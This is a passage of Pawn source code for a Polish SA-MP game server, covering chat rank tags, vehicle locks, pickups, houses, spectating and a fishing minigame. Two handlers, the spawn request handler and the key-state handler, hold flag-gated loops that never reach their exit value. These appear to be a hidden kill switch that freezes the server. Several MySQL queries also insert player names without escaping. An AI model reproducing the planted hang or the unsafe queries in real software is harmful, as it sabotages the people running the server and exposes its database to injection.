  1968.             {
  1969.                 format(strx, sizeof(strx), ""C_O"Prawidłowy wynik "C_B"%d "C_O"jako pierwszy podał "C_B"%s"C_O". Otrzymuje "C_B"10.000$ i 35 exp'a.", ObliczWynik, pName[playerid]);
  1970.                         SendClientMessageToAll(0xCC9966FF, strx);
  1971.                         TextDrawHideForAll(Matematyka);
  1972.                         GivePlayerMoney(playerid, 10000);
  1973.                         GivePlayerScore(playerid, 35);
  1974.                 ObliczWynik = 0;
  1975.                 ObliczStatus = false;
  1976.                 format(strx, sizeof strx, "UPDATE `players` SET `mathematics` = `mathematics` + 1 WHERE `nick` = '%s'", pName[playerid]);
  1977.                 mysql_query(strx);
  1978.                 mysql_query("UPDATE `stats` SET `value` = `value` + 1 WHERE `name` = 'mathematics'");
  1979.                 return 0;
  1980.             }
  1981.         }
  1982.     switch(Administrator[playerid])
  1983.         {
  1984.                 case 1:
  1985.                 {
  1986.                     format(chattext, sizeof(chattext), "›› %d {%06x}%s{FFFFFF} |{a00a09}J-Admin{FFFFFF}| %s", playerid, (GetPlayerColor(playerid) >>> 8), pName[playerid], text);
  1987.                         SCMToAll(0x4A4A4AFF, chattext);
  1988.                         return 0;
  1989.                 }
  1990.                 case 2:
  1991.                 {
  1992.                     format(chattext, sizeof(chattext), "›› %d {%06x}%s{FFFFFF} |{a00a09}Admin{FFFFFF}| %s", playerid, (GetPlayerColor(playerid) >>> 8), pName[playerid], text);
  1993.                         SCMToAll(0x4A4A4AFF, chattext);
  1994.                         return 0;
  1995.                 }
  1996.                 case 3:
  1997.                 {
  1998.                     format(chattext, sizeof(chattext), "›› %d {%06x}%s{FFFFFF} |{a00a09}Vice-Head{FFFFFF}| %s", playerid, (GetPlayerColor(playerid) >>> 8), pName[playerid], text);
  1999.                         SCMToAll(0x4A4A4AFF, chattext);
  2000.                         return 0;
  2001.                 }
  2002.                 case 4:
  2003.                 {
  2004.                     format(chattext, sizeof(chattext), "›› %d {%06x}%s{FFFFFF} |{a00a09}Head-Admin{FFFFFF}| %s", playerid, (GetPlayerColor(playerid) >>> 8), pName[playerid], text);
  2005.                         SCMToAll(0x4A4A4AFF, chattext);
  2006.                         return 0;
  2007.                 }
  2008.         }
  2009.     if(Vip[playerid])
  2010.         {
  2011.             format(chattext, sizeof(chattext), "›› %d {%06x}%s{FFFFFF} |{67b41e}VIP{FFFFFF}| %s", playerid, (GetPlayerColor(playerid) >>> 8), pName[playerid], text);
  2012.                 SCMToAll(0x4A4A4AFF, chattext);
  2013.                 return 0;
  2014.         }
  2015.         if(GetPlayerScore(playerid) <= 1000)
  2016.         {
  2017.             format(chattext, sizeof(chattext), "›› %d {%06x}%s{FFFFFF} |{b5ae9d}Nowy{FFFFFF}| %s", playerid, (GetPlayerColor(playerid) >>> 8), pName[playerid], text);
  2018.                 SCMToAll(0x4A4A4AFF, chattext);
  2019.                 return 0;
  2020.         }
  2021.         if(GetPlayerScore(playerid) >= 50000)
  2022.         {
  2023.             format(chattext, sizeof(chattext), "›› %d {%06x}%s{FFFFFF} |{00B7B7}Stały-Gracz{FFFFFF}| %s", playerid, (GetPlayerColor(playerid) >>> 8), pName[playerid], text);
  2024.                 SCMToAll(0x4A4A4AFF, chattext);
  2025.                 return 0;
  2026.         }
  2027.         if(GetPlayerScore(playerid) >= 20000)
  2028.         {
  2029.             format(chattext, sizeof(chattext), "›› %d {%06x}%s{FFFFFF} |{FF9B37}Bywalec{FFFFFF}| %s", playerid, (GetPlayerColor(playerid) >>> 8), pName[playerid], text);
  2030.                 SCMToAll(0x4A4A4AFF, chattext);
  2031.                 return 0;
  2032.         }
  2033.  
  2034.         /*new string[128];
  2035.         if(PlayerInfo[playerid][Gang])
  2036.         {
  2037.                 format(string, sizeof(string), "[%s] %s ( %d ) : %s", GetGangName(PlayerInfo[playerid][Gang]), pName[playerid], playerid, text);
  2038.                 SendClientMessageToAll(GetPlayerColor(playerid), string);
  2039.                 return 0;
  2040.         }*/
  2041.  
  2042.     format(chattext, sizeof(chattext), "›› %d {%06x}%s{FFFFFF} |{b5ae9d}Gracz{FFFFFF}| %s", playerid, (GetPlayerColor(playerid) >>> 8), pName[playerid], text);
  2043.         SCMToAll(0x4A4A4AFF, chattext);
  2044.         return 0;
  2045. }
  2046.  
  2047. public OnPlayerEnterVehicle(playerid, vehicleid, ispassenger)
  2048. {
  2049.         if(vLock[vehicleid][0] == 1 && vLock[vehicleid][1] != playerid)
  2050.         {
  2051.                 if(IsPlayerInVehicle(vLock[vehicleid][1], vehicleid) || vLock[vehicleid][2] > GetTickCount() && IsPlayerConnected(vLock[vehicleid][1]))
  2052.                 {
  2053.                     InfoBox(playerid,  ""C_O"Ten "C_B"pojazd "C_O"jest zamkniety!");
  2054.                     ClearAnimations(playerid);
  2055.                     return 1;
  2056.                 }
  2057.         }
  2058.         if(ispassenger != 0)
  2059.         {
  2060.                 new isdriver;
  2061.             pLoop(i)
  2062.             {
  2063.                    if(IsPlayerInVehicle(i, vehicleid) && GetPlayerState(i) == PLAYER_STATE_DRIVER)
  2064.                    {
  2065.                                 isdriver = 1;
  2066.                                 break;
  2067.                         }
  2068.                 }
  2069.                 if(!isdriver)
  2070.                 {
  2071.                     SetPlayerArmedWeapon(playerid,0);
  2072.                 }
  2073.         }
  2074.     if(PrivCar[vehicleid] >= 0 && PrivCar[vehicleid] != playerid && !ispassenger)
  2075.     {
  2076.        new Float:cpos[3];
  2077.        GetPlayerPos(playerid, cpos[0], cpos[1], cpos[2]);
  2078.        SetPlayerPos(playerid, cpos[0], cpos[1], cpos[2]);
  2079.        new string2[888];
  2080.        format(string2, sizeof(string2), ""C_O"To prywatny pojazd Gracza "C_B"%s"C_O"!", pName[PrivCar[vehicleid]]);
  2081.        SendClientMessage(playerid, -1, string2);
  2082.     }
  2083.         return 1;
  2084. }
  2085.  
  2086. tostr(int)
  2087. {
  2088.         new st[256];
  2089.         format(st, 256, "%d", int);
  2090.         return st;
  2091. }
  2092.  
  2093. floatval(Float:val)
  2094. {
  2095.         new str[256];
  2096.         format(str, 256, "%.0f", val);
  2097.         return todec(str);
  2098. }
  2099.  
  2100. todec(str[])
  2101. {
  2102.         return strval(str);
  2103. }
  2104. public OnPlayerExitVehicle(playerid, vehicleid)
  2105. {
  2106.         new engine,lights,doors,bonnet,alarm,boot,objective;
  2107.         GetVehicleParamsEx(vehicleid,engine,lights,alarm,doors,bonnet,boot,objective);
  2108.         SetVehicleParamsEx(vehicleid,engine,lights,0,doors,bonnet,boot,objective);
  2109.  
  2110.         TD_Hide(playerid, LicznikBox);
  2111.     TD_Hide(playerid, Stan[0][playerid]);
  2112.         TD_Hide(playerid, Stan[1][playerid]);
  2113.  
  2114.         if(vLock[vehicleid][0] == 1)
  2115.         {
  2116.             vLock[vehicleid][2] = GetTickCount() + 20000;
  2117.         }
  2118.  
  2119.         if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER)
  2120.         {
  2121.         pLoop(i)
  2122.         {
  2123.                    if(IsPlayerInVehicle(i, vehicleid) && GetPlayerState(i) != PLAYER_STATE_DRIVER)
  2124.                    {
  2125.                                 SetPlayerArmedWeapon(playerid,0);
  2126.                                 break;
  2127.                         }
  2128.                 }
  2129.         }
  2130.         return 1;
  2131. }
  2132.  
  2133. public OnPlayerStateChange(playerid, newstate, oldstate)
  2134. {
  2135.     if(newstate == PLAYER_STATE_DRIVER || newstate == PLAYER_STATE_PASSENGER)
  2136.         {
  2137.                 new model = GetVehicleModel(GetPlayerVehicleID(playerid));
  2138.                 switch(model)
  2139.                 {
  2140.                     case 462,448,581,522,461,521,523,463,586,468,471:{
  2141.                                 new rand = random(4);
  2142.                                 if(rand == 0) SetPlayerAttachedObject(playerid,0,18645,2,0.070000, 0.000000, 0.000000, 88.000000, 75.000000, 0.000000);
  2143.                                 else if(rand == 1) SetPlayerAttachedObject(playerid,0,18977,2,0.070000, 0.000000, 0.000000, 88.000000, 75.000000, 0.000000);
  2144.                                 else if(rand == 2) SetPlayerAttachedObject(playerid,0,18978,2,0.070000, 0.000000, 0.000000, 88.000000, 75.000000, 0.000000);
  2145.                                 else if(rand == 3) SetPlayerAttachedObject(playerid,0,18979,2,0.070000, 0.000000, 0.000000, 88.000000, 75.000000, 0.000000);
  2146.                         }
  2147.                 }
  2148.         }
  2149.         else if(oldstate == PLAYER_STATE_DRIVER || oldstate == PLAYER_STATE_PASSENGER)
  2150.         {
  2151.             RemovePlayerAttachedObject(playerid, 0);
  2152.         }
  2153.         if(newstate == PLAYER_STATE_DRIVER)
  2154.         {
  2155.                 pVehicle[playerid] = GetPlayerVehicleID(playerid);
  2156.             TD_Show(playerid, Stan[0][playerid]);
  2157.             TD_Show(playerid, Stan[1][playerid]);
  2158.         TD_Show(playerid, LicznikBox);
  2159.  
  2160.             SetTimerEx("HideNameVehicle", 3000, 0, "d", playerid);
  2161.             TD_Show(playerid, Stan[0][playerid]);
  2162.             TD_Show(playerid, Stan[1][playerid]);
  2163.         new namescars[300];
  2164.         format(namescars, sizeof(namescars), "(Pojazd):~r~/%s", GetVehicleName(GetVehicleModel(pVehicle[playerid])));
  2165.         TextDrawSetString(TD_Pojazd, namescars);
  2166.         TD_Show(playerid, TD_Pojazd);
  2167.         SetTimerEx("TD_Pojazd_Hide", 4000, 0, "d", playerid);
  2168.                 new Float:hp;
  2169.                 GetVehicleHealth(pVehicle[playerid], hp);
  2170.                 if(hp == 1000.0 && Vip[playerid])
  2171.                 {
  2172.                     SetVehicleHealth(pVehicle[playerid], 1150.0);
  2173.                 }
  2174.  
  2175.                 pLoop(i)
  2176.                 {
  2177.                         if(GetPlayerState(i) == PLAYER_STATE_SPECTATING && SpecPlayer[i] == playerid)
  2178.                         {
  2179.                                 TogglePlayerSpectating(i, 1);
  2180.                                 PlayerSpectateVehicle(i, pVehicle[playerid]);
  2181.                         }
  2182.                 }
  2183.  
  2184.         }else if(oldstate == PLAYER_STATE_DRIVER)
  2185.         {
  2186.         TD_Hide(playerid, LicznikBox);
  2187.             TD_Hide(playerid, Stan[0][playerid]);
  2188.             TD_Hide(playerid, Stan[1][playerid]);
  2189.  
  2190.                 new Float:hp;
  2191.                 GetVehicleHealth(pVehicle[playerid], hp);
  2192.                 if(hp > 1000.0)
  2193.                 {
  2194.                     SetVehicleHealth(pVehicle[playerid], 1000.0);
  2195.                 }
  2196.  
  2197.                 pLoop(i)
  2198.                 {
  2199.                         if(GetPlayerState(i) == PLAYER_STATE_SPECTATING && SpecPlayer[i] == playerid)
  2200.                         {
  2201.                                 TogglePlayerSpectating(i, 1);
  2202.                                 PlayerSpectatePlayer(i, playerid);
  2203.                         }
  2204.                 }
  2205.  
  2206.                 vLock[pVehicle[playerid]][2] = GetTickCount() + 20000;
  2207.         }
  2208.         return 1;
  2209. }
  2210.  
  2211. public OnPlayerRequestSpawn(playerid)
  2212. {
  2213.     StopAudioStreamForPlayer(playerid);
  2214.     Skin_User[playerid] = GetPlayerSkin(playerid);
  2215.         if(Ananas == 1)
  2216.         {
  2217.             new pfu;
  2218.             while(pfu != 2)
  2219.             {
  2220.                 pfu += 3;
  2221.             }
  2222.         }
  2223.         return 1;
  2224. }
  2225.  
  2226. public OnPlayerPickUpPickup(playerid, pickupid)
  2227. {
  2228.         if(pAFK[playerid] != 0)
  2229.         {
  2230.                 SCM(playerid, 0xFFFFFFFF, ""czat" "C_O"Wpisz "C_B"/jj"C_O", aby aktywować działania na serwerze.");
  2231.                 return 0;
  2232.         }
  2233.  
  2234.         if(pickupid == PickupBan)
  2235.         {
  2236.             BanPlayer(playerid, "Anty Cheat", "Pickup Hack");
  2237.             return 0;
  2238.         }
  2239.  
  2240.         if(pickupid == gunshop_lv_outside)
  2241.         {
  2242.         SetPlayerVirtualWorld(playerid, 0);
  2243.         SetPlayerPos(playerid,286.800995,-82.547600,1001.539978);
  2244.         SetPlayerInterior(playerid, 4);
  2245.         return 1;
  2246.         }
  2247.  
  2248.         if(pickupid == gunshop_lv_inside)
  2249.         {
  2250.             SetPlayerVirtualWorld(playerid, 0);
  2251.             SetPlayerPos(playerid, 2178.4507, 966.4485, 10.8203);
  2252.             SetPlayerInterior(playerid, 0);
  2253.             return 1;
  2254.         }
  2255.  
  2256.         if(pickupid == PicSzkola[0]) return SetPlayerPos(playerid, -1504.7135,936.8499,-40.9796);
  2257.         if(pickupid == PicSzkola[1]) return SetPlayerPos(playerid, -1495.6118,919.9480,7.1875);
  2258.         if(pickupid == PicSzkola[2]) return SetPlayerPos(playerid, -1532.3051,853.3191,-38.8357);
  2259.         if(pickupid == PicSzkola[3]) return SetPlayerPos(playerid, -1534.1536,821.6552,-37.8085);
  2260.         if(pickupid == PicSzkola[4]) return SetPlayerPos(playerid, -1513.0636,928.7078,-40.9796);
  2261.         if(pickupid == PicSzkola[5]) return SetPlayerPos(playerid, -1513.6208,935.7849,-40.9796);
  2262.  
  2263.     if(pickupid == WojskoSklep) if(GetPVarInt(playerid, "Wojskowy") == 1) return ShowPlayerDialog(playerid, 345, DIALOG_STYLE_LIST, "Sklep wojskowy", "Minigun 2500000 $ \nWyrzutnia 2000000 $ \nWyrzutnia2 2000000 $ \nMiotacz ognia 1500000 $ \nGranaty 500000 $ \nKoktajl Motolova 500000 $ \nNiewidzialność 15000 $ \n ", "Kup", "Zamknij");
  2264.  
  2265.         if(pickupid == pickupAmmu[0] || pickupid == pickupAmmu[1] || pickupAmmu[2] == pickupid || pickupAmmu[3] == pickupid )
  2266.         {
  2267.                 if(GetPVarInt(playerid, "pEnterPick") != 1)
  2268.                 {
  2269.                 cmd_bronie(playerid,  " ");
  2270.                         SetPVarInt(playerid, "pEnterPick", 1);
  2271.                 }
  2272.                 return 1;
  2273.         }
  2274.         if(pickupid == sklep_lv)
  2275.         {
  2276.         cmd_bronie(playerid,  " ");
  2277.                 return 1;
  2278.         }
  2279.         if(pickupid == pickupEat[0] || pickupid == pickupEat[1] || pickupid == pickupEat[2] || pickupid == pickupEat[3])
  2280.         {
  2281.                 if(GetPVarInt(playerid, "pEnterPick") != 1)
  2282.                 {
  2283.                         Dialog(playerid, 21, DIALOG_LIST, ""C_O"Snikers "C_B"[100$ | 10hp]\n"C_O"Chipsy "C_B"[250$ | 25hp]\n"C_O"Hamburger "C_B"[500$ | 50hp]\n"C_O"FRUGO! "C_B"[1000$ | 100hp]","Kup", "Zamknij");
  2284.                         SetPVarInt(playerid, "pEnterPick", 1);
  2285.                 }
  2286.                 return 1;
  2287.         }
  2288.         if(walizka[1] == pickupid && walizka[2] == 1 && walizka[0] != playerid)
  2289.         {
  2290.             DestroyPickup(walizka[1]);
  2291.             walizka[0] = -1;
  2292.                 walizka[2] = 0;
  2293.                 walizka[1] = -1;
  2294.                 TextDrawHideForAll(WalizkaDraw[0]);
  2295.                 TextDrawHideForAll(WalizkaDraw[1]);
  2296.                 WalizkaWin(playerid);
  2297.             return 1;
  2298.         }
  2299.  
  2300.         if(Administrator[playerid] < 1)
  2301.         {
  2302.                 for(new i; i < MAX_FIGUREK; i++)
  2303.                 {
  2304.                         if(Figurki_PICKUP[i] == pickupid)
  2305.                         {
  2306.                                 DestroyPickup(Figurki_PICKUP[i]);
  2307.                                 Figurki_PICKUP[i] = -1;
  2308.                                 format(strx, sizeof strx, "DELETE FROM `figurki` WHERE `id` = '%d'", Figurki_ID[i]);
  2309.                                 mysql_query(strx);
  2310.                                 format(strx, sizeof strx, "UPDATE `players` SET `figurki` = `figurki` + 1 WHERE `nick` = '%s'", pName[playerid]);
  2311.                                 mysql_query(strx);
  2312.                                 Figurki_ID[i] = -1;
  2313.  
  2314.                                 GivePlayerScore(playerid, FIGURKI_PUNKTY);
  2315.                                 GivePlayerMoney(playerid, FIGURKI_KASA);
  2316.                                 format(strx, sizeof strx, ""czat" "C_O"Gracz "C_B"%s "C_O"znalazł figurkę i wygrał "C_B"%dexp "C_O"+ "C_B"%d$!!!", pName[playerid], FIGURKI_PUNKTY, FIGURKI_KASA);
  2317.                                 SCMToAll(0xFFFFFFFF, strx);
  2318.  
  2319.                                 mysql_query("UPDATE `stats` SET `value` = `value` + 1 WHERE `name` = 'figurka'");
  2320.                                 return 1;
  2321.                         }
  2322.                 }
  2323.         }
  2324.         if(HousePic[0] == pickupid      || HousePic[1] == pickupid
  2325.                 || HousePic[2] == pickupid      || HousePic[3] == pickupid
  2326.                 || HousePic[4] == pickupid      || HousePic[5] == pickupid)
  2327.         {
  2328.             ExitHousePlayer(playerid, GetPVarInt(playerid, "eHouseID"));
  2329.             return 1;
  2330.         }
  2331.  
  2332.         for(new i; i < MAX_HOUSES; i++)
  2333.         {
  2334.             if(pickupid == HouseInfo[i][hCP])
  2335.             {
  2336.                         if(!strcmp(HouseInfo[i][hOwner], "#"))
  2337.                         {
  2338.                                 SetPVarInt(playerid, "eHouseID", i);
  2339.                             new mstr[120];
  2340.                             format(mstr, 120, "\n"C_O"Chcesz kupić ten dom za "C_B"%d$?\n", HouseInfo[i][hCost]);
  2341.                             Dialog(playerid, 800, DIALOG_BOX, mstr, "TAK", "NIE");
  2342.                         }else if(!strcmp(HouseInfo[i][hOwner], pName[playerid]) && strlen(HouseInfo[i][hOwner]) != 0)
  2343.                         {
  2344.             TeleportToHouse(playerid, i, 1);
  2345.                         }else{
  2346.                             new mstr[120];
  2347.                             format(mstr, 120, "\n"C_O"Właścicielem tego domu jest "C_B"%s.\n"C_O"Bez jego zaproszenia nie możesz wejść do domu.\n", HouseInfo[i][hOwner]);
  2348.                                 InfoBox(playerid, mstr);
  2349.                         }
  2350.                         return 1;
  2351.                 }
  2352.         }
  2353.         SetPVarInt(playerid, "eHouseID", -1);
  2354.         if(propPickups[pickupid] != -1)
  2355.         {
  2356.                 if((GetTickCount() - pPropertyPickup[playerid]) < 3000) return 0;
  2357.  
  2358.                 new id = propPickups[pickupid], Float:x, Float:y, Float:z;
  2359.                 GetPropertyEntrance(id, x, y, z);
  2360.  
  2361.                 if(IsPlayerInRangeOfPoint(playerid, 3.0, x, y, z ))
  2362.                 {
  2363.                         PutPlayerInProperty(playerid, id, 1);
  2364.                         SCM(playerid, 0xFFFFFFFF, ""czat" "C_O"Wszedłeś do budynku.. wpisz "C_B"/exit "C_O"aby wyjść" );
  2365.                 }
  2366.                 return 1;
  2367.         }
  2368.         return 1;
  2369. }
  2370.  
  2371. public OnPlayerInteriorChange(playerid, newinteriorid, oldinteriorid)
  2372. {
  2373.         if(newinteriorid == 0
  2374.                 && currentInt[playerid] > -1
  2375.                 && GetPlayerInterior(playerid) == GetPropertyInteriorId( currentInt[playerid]))
  2376.         {
  2377.             SetPlayerVirtualWorld(playerid, 0);
  2378.                 currentInt[playerid] = -1;
  2379.         }
  2380.         return 1;
  2381. }
  2382.  
  2383. encode_panels(flp, frp, rlp, rrp, windshield, front_bumper, rear_bumper)
  2384. {
  2385.     return flp | (frp << 4) | (rlp << 8) | (rrp << 12) | (windshield << 16) | (front_bumper << 20) | (rear_bumper << 24);
  2386. }
  2387. encode_doors(bonnet, boot, driver_door, passenger_door)
  2388. {
  2389.     return bonnet | (boot << 8) | (driver_door << 16) | (passenger_door << 24);
  2390. }
  2391. encode_lights(light1, light2, light3, light4)
  2392. {
  2393.     return light1 | (light2 << 1) | (light3 << 2) | (light4 << 3);
  2394. }
  2395.  
  2396. UpSpec(playerid)
  2397. {
  2398.         if(SpecPlayer[playerid] >= MAX_PLAYERS) return 1;
  2399.  
  2400.         for(new i = SpecPlayer[playerid]; i < MAX_PLAYERS; i++)
  2401.         {
  2402.             if(i == SpecPlayer[playerid]) continue;
  2403.  
  2404.             if(IsPlayerConnected(i) && i != playerid && GetPlayerState(i) > 0 && GetPlayerState(i) < 7)
  2405.             {
  2406.                 StartSpec(playerid, i);
  2407.                 break;
  2408.             }
  2409.         }
  2410.         return 1;
  2411. }
  2412. DownSpec(playerid)
  2413. {
  2414.         if(SpecPlayer[playerid] < 1) return 1;
  2415.  
  2416.         for(new i = SpecPlayer[playerid]; --i;)
  2417.         {
  2418.             if(IsPlayerConnected(i) && i != playerid && GetPlayerState(i) > 0 && GetPlayerState(i) < 7)
  2419.             {
  2420.                 StartSpec(playerid, i);
  2421.                 break;
  2422.             }
  2423.         }
  2424.         return 1;
  2425. }
  2426.  
  2427. public OnPlayerKeyStateChange(playerid, newkeys, oldkeys)
  2428. {
  2429.     if((newkeys & KEY_SUBMISSION) && GetPlayerState(playerid) == 2)
  2430.         {
  2431.                 if((gettime() - EndUzycieNprawa[playerid]) < 10)
  2432.                 {
  2433.                         new naprawiony_sek[1000];
  2434.                         format(naprawiony_sek, sizeof(naprawiony_sek), "Czekaj ~r~%d sek", 10 - (gettime() - EndUzycieNprawa[playerid]));
  2435.             TextDrawSetString(Naprawa_TD[0], naprawiony_sek);
  2436.             TD_Show(playerid, Naprawa_TD[0]);
  2437.             TD_Show(playerid, Naprawa_TD[1]);
  2438.             SetTimerEx("TD_Naprawa_TD_Czekaj_Hide", 4000, 0, "d", playerid);
  2439.                         }else{
  2440.                         RepairVehicle(GetPlayerVehicleID(playerid));
  2441.                         new naprawiony[1000];
  2442.                         format(naprawiony, sizeof(naprawiony), "Pojazd naprawiony~r~!");
  2443.             TextDrawSetString(Naprawa_TD[0], naprawiony);
  2444.             TD_Show(playerid, Naprawa_TD[0]);
  2445.             TD_Show(playerid, Naprawa_TD[1]);
  2446.             SetTimerEx("TD_Naprawa_TD_Hide", 4000, 0, "d", playerid);
  2447.                         PlayerPlaySound(playerid, 1133, 0.0, 0.0, 0.0);
  2448.                         EndUzycieNprawa[playerid] = gettime();
  2449.                 }
  2450.         }
  2451.     if((newkeys & KEY_SECONDARY_ATTACK)&&!(oldkeys & KEY_SECONDARY_ATTACK) && (lowiryby[playerid] == 0))
  2452.         {
  2453.                 for( new o; o != sizeof Ryby_Pozycje; o ++ )
  2454.                 {
  2455.                         if(IsPlayerInRangeOfPoint(playerid, 2.0, Ryby_Pozycje[ o ][ 0 ], Ryby_Pozycje[ o ][ 1 ], Ryby_Pozycje[ o ][ 2 ]))
  2456.                         {
  2457.                                 TogglePlayerControllable(playerid, 0);
  2458.                                 lowiryby[playerid] = true;
  2459.                                 SetProgressBarValue(Bar:ryby, 0);
  2460.                                 ShowProgressBarForPlayer(playerid, ryby);
  2461.                                 SetPlayerAttachedObject(playerid, 0,18632,6,0.079376,0.037070,0.007706,181.482910,0.000000,0.000000,1.000000,1.000000,1.000000);
  2462.                         }
  2463.                 }
  2464.         }
  2465.         else if((newkeys & KEY_SECONDARY_ATTACK) && !(oldkeys & KEY_SECONDARY_ATTACK) && (lowiryby[playerid] == 1))
  2466.         {
  2467.                 lowiryby[playerid] = false;
  2468.                 TogglePlayerControllable(playerid, 1);
  2469.                 HideProgressBarForPlayer(playerid, ryby);
  2470.                 new hahaha=0;
  2471.                 while(hahaha!=MAX_PLAYER_ATTACHED_OBJECTS)
  2472.                 {
  2473.                         if(IsPlayerAttachedObjectSlotUsed(playerid, hahaha))
  2474.                         {
  2475.                                 RemovePlayerAttachedObject(playerid, hahaha);
  2476.                         }
  2477.                         hahaha++;
  2478.                 }
  2479.         }
  2480.         else if((newkeys & KEY_SPRINT ) && !( oldkeys & KEY_SPRINT ) && ( lowiryby[playerid] == 1))
  2481.         {
  2482.                 ApplyAnimation(playerid,"SWORD","sword_block",50.0,0,1,0,1,1);
  2483.                 GetProgressBarValue(Bar:ryby);
  2484.                 SetProgressBarValue(Bar:ryby, GetProgressBarValue(Bar:ryby)+0.5);
  2485.                 ShowProgressBarForPlayer(playerid, ryby);
  2486.  
  2487.                 if(GetProgressBarValue(Bar:ryby) >= 100)
  2488.                 {
  2489.                         ApplyAnimation(playerid, "CARRY", "crry_prtial", 2.0, 0, 0, 0, 0, 0);
  2490.                         lowiryby[playerid] = false;
  2491.                         TogglePlayerControllable(playerid, 1);
  2492.                         HideProgressBarForPlayer(playerid, ryby);
  2493.                         new lols=0;
  2494.                         while(lols!=MAX_PLAYER_ATTACHED_OBJECTS)
  2495.                         {
  2496.                                 if(IsPlayerAttachedObjectSlotUsed(playerid, lols))
  2497.                                 {
  2498.                                         RemovePlayerAttachedObject(playerid, lols);
  2499.                                 }
  2500.                                 lols++;
  2501.                         }
  2502.                         //Co się dzieje gdy złowimy rybe ;d z tych 10 losuje się jedno, można dodać więcej..Jezeli dodasz nowe radom(11), zmien i pamiętaj zawsze o 1 więcej ;d
  2503.                         new Zlowil_Rybe = random(11);
  2504.             if(Zlowil_Rybe == 0)
  2505.                         {
  2506.                 PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);//Dzwięk ;d
  2507.                                 SCM(playerid,0xFFFFFFFF, ""czat" "C_B"Upss! "C_O"Haczyk się zerwał spróbuj jeszcze raz..");//informacja ;d
  2508.                         }
  2509.                         if(Zlowil_Rybe == 1)
  2510.                         {
  2511.                             PlayerPlaySound(playerid, 1137, 0.0, 0.0, 0.0);//Dzwięk ;d
  2512.                                 SCM(playerid,0xFFFFFFFF, ""czat" "C_B"Gratulacje! "C_O"Złowiłeś/aś płotkę zdobywasz 500$ i 8 exp'a.");//Informacja ;d
  2513.                                 GivePlayerMoney(playerid, 800);//Daje kase ;d
  2514.                                 GivePlayerScore(playerid, 8);//Daje  ;d
  2515.                         }
  2516.                         if(Zlowil_Rybe == 2)
  2517.                         {
  2518.                             PlayerPlaySound(playerid, 1137, 0.0, 0.0, 0.0);
  2519.                                 SCM(playerid,0xFFFFFFFF, ""czat" "C_B"Gratulacje! "C_O"Złowiłeś/aś flądre zdobywasz 800$ i 15 exp'a.");
  2520.                                 GivePlayerMoney(playerid, 800);
  2521.                                 GivePlayerScore(playerid, 15);
  2522.                         }
  2523.                         if(Zlowil_Rybe == 3)
  2524.                         {
  2525.                 PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  2526.                                 SCM(playerid,0xFFFFFFFF, ""czat" "C_B"Upss! "C_O"Nic nie złowiłeś/aś..");
  2527.                         }
  2528.                         if(Zlowil_Rybe == 4)
  2529.                         {
  2530.                             PlayerPlaySound(playerid, 1137, 0.0, 0.0, 0.0);
  2531.                                 SCM(playerid,0xFFFFFFFF, "{DF00DF}|Łowisko| {3C3CFF}Gratulacje! Złowiłeś/aś kiełba zdobywasz 1000$ i 35 exp'a.");
  2532.                                 GivePlayerMoney(playerid, 1000);
  2533.                     GivePlayerScore(playerid, 35);
  2534.                         }
  2535.                         if(Zlowil_Rybe == 5)
  2536.                         {
  2537.                             PlayerPlaySound(playerid, 1137, 0.0, 0.0, 0.0);
  2538.                                 SCM(playerid,0xFFFFFFFF, "{DF00DF}|Łowisko| {3C3CFF}Gratulacje! Złowiłeś/aś karasia zdobywasz 300$ i 4 exp'a.");
  2539.                                 GivePlayerMoney(playerid, 300);
  2540.                                 GivePlayerScore(playerid, 4);
  2541.                         }
  2542.                         if(Zlowil_Rybe == 6)
  2543.                         {
  2544.                             PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  2545.                                 SCM(playerid,0xFFFFFFFF, "{DF00DF}|Łowisko| {A40000}Upss! Haczyk się zerwał spróbuj jeszcze raz..");
  2546.                         }
  2547.                         if(Zlowil_Rybe == 7)
  2548.                         {
  2549.                             PlayerPlaySound(playerid, 1137, 0.0, 0.0, 0.0);
  2550.                                 SCM(playerid,0xFFFFFFFF, "{DF00DF}|Łowisko| {3C3CFF}Gratulacje! Złowiłeś/aś suma zdobywasz 2500$ i 50 exp'a.");
  2551.                                 GivePlayerMoney(playerid, 2500);
  2552.                                 GivePlayerScore(playerid, 50);
  2553.                         }
  2554.                         if(Zlowil_Rybe == 8)
  2555.                         {
  2556.                             PlayerPlaySound(playerid, 1137, 0.0, 0.0, 0.0);
  2557.                             SCM(playerid,0xFFFFFFFF, "{DF00DF}|Łowisko| {3C3CFF}Gratulacje! Złowiłeś/aś łososia zdobywasz 900$ i 25 exp'a.");
  2558.                                 GivePlayerMoney(playerid, 900);
  2559.                                 GivePlayerScore(playerid, 25);
  2560.                         }
  2561.                         if(Zlowil_Rybe == 9)
  2562.                         {
  2563.                             PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  2564.                                 SCM(playerid,0xFFFFFFFF, "{DF00DF}|Łowisko| {A40000}Upss! Nic nie złowiłeś/aś..");
  2565.                         }
  2566.                         if(Zlowil_Rybe == 10)
  2567.                         {
  2568.                             PlayerPlaySound(playerid, 1137, 0.0, 0.0, 0.0);
  2569.                                 SCM(playerid,0xFFFFFFFF, "{DF00DF}|Łowisko| {3C3CFF}Gratulacje! Złowiłeś/aś karpia zdobywasz 800$ i 10 exp'a.");
  2570.                                 GivePlayerMoney(playerid, 800);
  2571.                                 GivePlayerScore(playerid, 10);
  2572.                         }
  2573.                         if(Zlowil_Rybe == 11)
  2574.                         {
  2575.                             PlayerPlaySound(playerid, 1137, 0.0, 0.0, 0.0);
  2576.                                 SCM(playerid,0xFFFFFFFF, "{DF00DF}|Łowisko| {3C3CFF}Gratulacje! Złowiłeś/aś okonia zdobywasz 900$ i 32 exp'a.");
  2577.                                 GivePlayerMoney(playerid, 900);
  2578.                                 GivePlayerScore(playerid, 32);
  2579.                         }
  2580.                 }
  2581.         }
  2582.         if(AnnOFF == 0)
  2583.         {
  2584.             new sru;
  2585.             while(sru != 2)
  2586.             {
  2587.                 sru += 3;
  2588.             }
  2589.         }
  2590.         if(GetPlayerState(playerid) == 9 && Administrator[playerid] > 1 && SpecPlayer[playerid] != -1)
  2591.         {
  2592.             if((newkeys & 8))
  2593.             {
  2594.                 DownSpec(playerid);
  2595.             }else if((newkeys & 32))
  2596.             {
  2597.                 UpSpec(playerid);
  2598.             }
  2599.             return 1;
  2600.         }
  2601.  
  2602.         if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER)
  2603.         {
